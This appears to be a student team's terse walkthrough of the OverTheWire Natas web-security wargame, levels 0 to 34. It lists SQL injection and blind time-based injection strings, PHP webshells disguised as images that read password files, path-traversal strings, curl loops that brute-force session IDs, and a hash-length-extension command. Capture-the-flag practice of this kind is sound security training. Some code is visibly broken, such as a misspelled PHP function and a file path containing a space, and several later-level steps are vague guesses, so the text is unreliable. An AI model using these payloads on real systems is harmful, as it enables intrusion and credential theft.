Team Name: HackHunters

Team Members Name: Haria Dhruti Jagdish

Gala Dharmik Vimal

Commands: Natas

Level 0 → Level 1

- **Command/Action:**
  View Page Source (Ctrl+U)
- **Logic:**
  Password hidden inside an HTML comment.

Level 1 → Level 2

- **Command/Action:**
  Use basic authentication popup.
  View page source, find a base64 password.

Level 2 → Level 3

- **Command/Action:**
  Find and manually browse the /files/ directory.

Level 3 → Level 4

- **Command/Action:**
  Inspect hidden elements.
  Browse manually to /s3cr3t/ directory.

Level 4 → Level 5

- **Command/Action:**
  Modify HTTP Referer Header (via Burp Suite or browser extension like ModHeader).
- **Example:**

Referer: http://natas4.natas.labs.overthewire.org/

Level 5 → Level 6

- **Command/Action:**
  Modify Cookie:
  Set loggedin=1 manually in DevTools or Burp Suite.

Level 6 → Level 7

- **Command/Action:**
  URL manipulation:
  Change page=doesnotexist to page=home or use directory traversal (../).

Level 7 → Level 8

- **Command/Action:**
  URL Parameter Injection:
  Set page=../../../../../../etc/natas_webpass/natas8

Level 8 → Level 9

- **Command/Action: Decode the encoded secret:**

echo "3d3d516343746d4d6d6c315669563362" | xxd -r -p | rev | base64 -d

---

Level 9 → Level 10

- **Command/Action: Use SQL Injection in search form:**

  a' OR 1=1 --

Level 10 → Level 11

- **Command/Action: Bypass input sanitization:**

  a" OR 1=1 --

Level 11 → Level 12

- **Command/Action: Decrypt/Encrypt Cookies with XOR cipher. Use CyberChef or Python:**

  key = 'KNHL'

  cipher = 'base64_cookie_value'

Level 12 → Level 13

- **Command/Action: Upload a PHP webshell disguised as a .jpg:**

<?php

echo file_get_contents("/etc/natas_webpass/natas13"); ?>

Level 13 → Level 14

- **Command/Action: Upload .php disguised with magic bytes. Create file starting with:**

GIF89a <?php echo file_get_contents('/etc/natas_webpass/natas14');

?>

Level 14 → Level 15

- **Command/Action: Perform SQL Injection on login form:**

  username: natas14" OR "1"="1

  password: anything

Level 15 → Level 16

- **Command/Action: Blind SQL Injection using time delays:**

  natas16" AND IF(password LIKE "a%", SLEEP(5), 0) --

Level 16 → Level 17

- **Command/Action: Blind SQL Injection + timing attack.**

  Script example:

  for c in {a..z}; do curl -u natas16:password 'http://natas16.natas.labs.overthewire.org/?needle='$c'%25' --silent | grep -q 'respective string'; done

---

Level 17 → Level 18

- **Command/Action: Brute-force Session IDs by guessing:**

  for i in {1..640}; do curl -b "PHPSESSID=$i" http://natas18.natas.labs.overthewire.org/; done

---

Level 18 → Level 19

- **Command/Action: Notice SessionID format changes (hexadecimal). Brute-force:**

  for id in $(seq -w 0 640); do curl -b "PHPSESSID=$id" http://natas19.natas.labs.overthewire.org/; done

---

Level 19 → Level 20

- **Command/Action: Analyze sessions: Manipulate your PHPSESSID to impersonate an admin.**

Level 20 → Level 21

- **Command/Action: Forge POST request after setting a custom session (two different domains). Burp Suite is handy here.**

Level 21 → Level 22

- **Command/Action: Intercept redirects manually. Use:**

  curl -L -v -u natas21:password

http://natas21-experimenter.natas.labs.overthewire.org

Level 22 → Level 23

- **Command/Action: Bypass "no redirect" with URL crafting:**

  /?revelio=1

Level 23 → Level 24

- **Command/Action: Upload a .php file into user profile and access it.**

Level 24 → Level 25

- **Command/Action: Exploit path traversal to include:**

  ../../../../../etc/natas_webpass/natas25

Level 25 → Level 26

- **Command/Action: Log poisoning: Inject PHP code into HTTP headers (e.g., User-Agent), then include server logs.**

Level 26 → Level 27

- **Command/Action: Unsafe unserialize() vulnerability. Craft malicious serialized payloads.**

Level 27 → Level 28

- **Command/Action: Bypass username validation by manipulating input (newlines %0a injection).**

Level 28 → Level 29

- **Command/Action: Exploit HMAC signature miscalculation (hash length extension attack). Use a tool like hash_extender.**

Level 29 → Level 30

- **Command/Action: Use hash_extender again for forgery:**
- **hash_extender --data="&admin=1" --secret=16 --signature=[oldhash] --append="&admin=1" --format=sha256**

Level 30 → Level 31

- **Command/Action: Server-Side Request Forgery (SSRF). Trick server to make internal requests.**

Level 31 → Level 32

- **Command/Action: Local File Inclusion (LFI) inside the SSRF payload.**

Level 32 → Level 33

- **Command/Action: Exploit upload vulnerabilities. Upload a PHP file that reads:**

<?php echo file_get_content ("/etc/natas_webpass /natas34"); ?>

Level 33 → Level 34

- **Command/Action: Cookie manipulation / Server-Side Template Injection (SSTI) depending on server behavior.**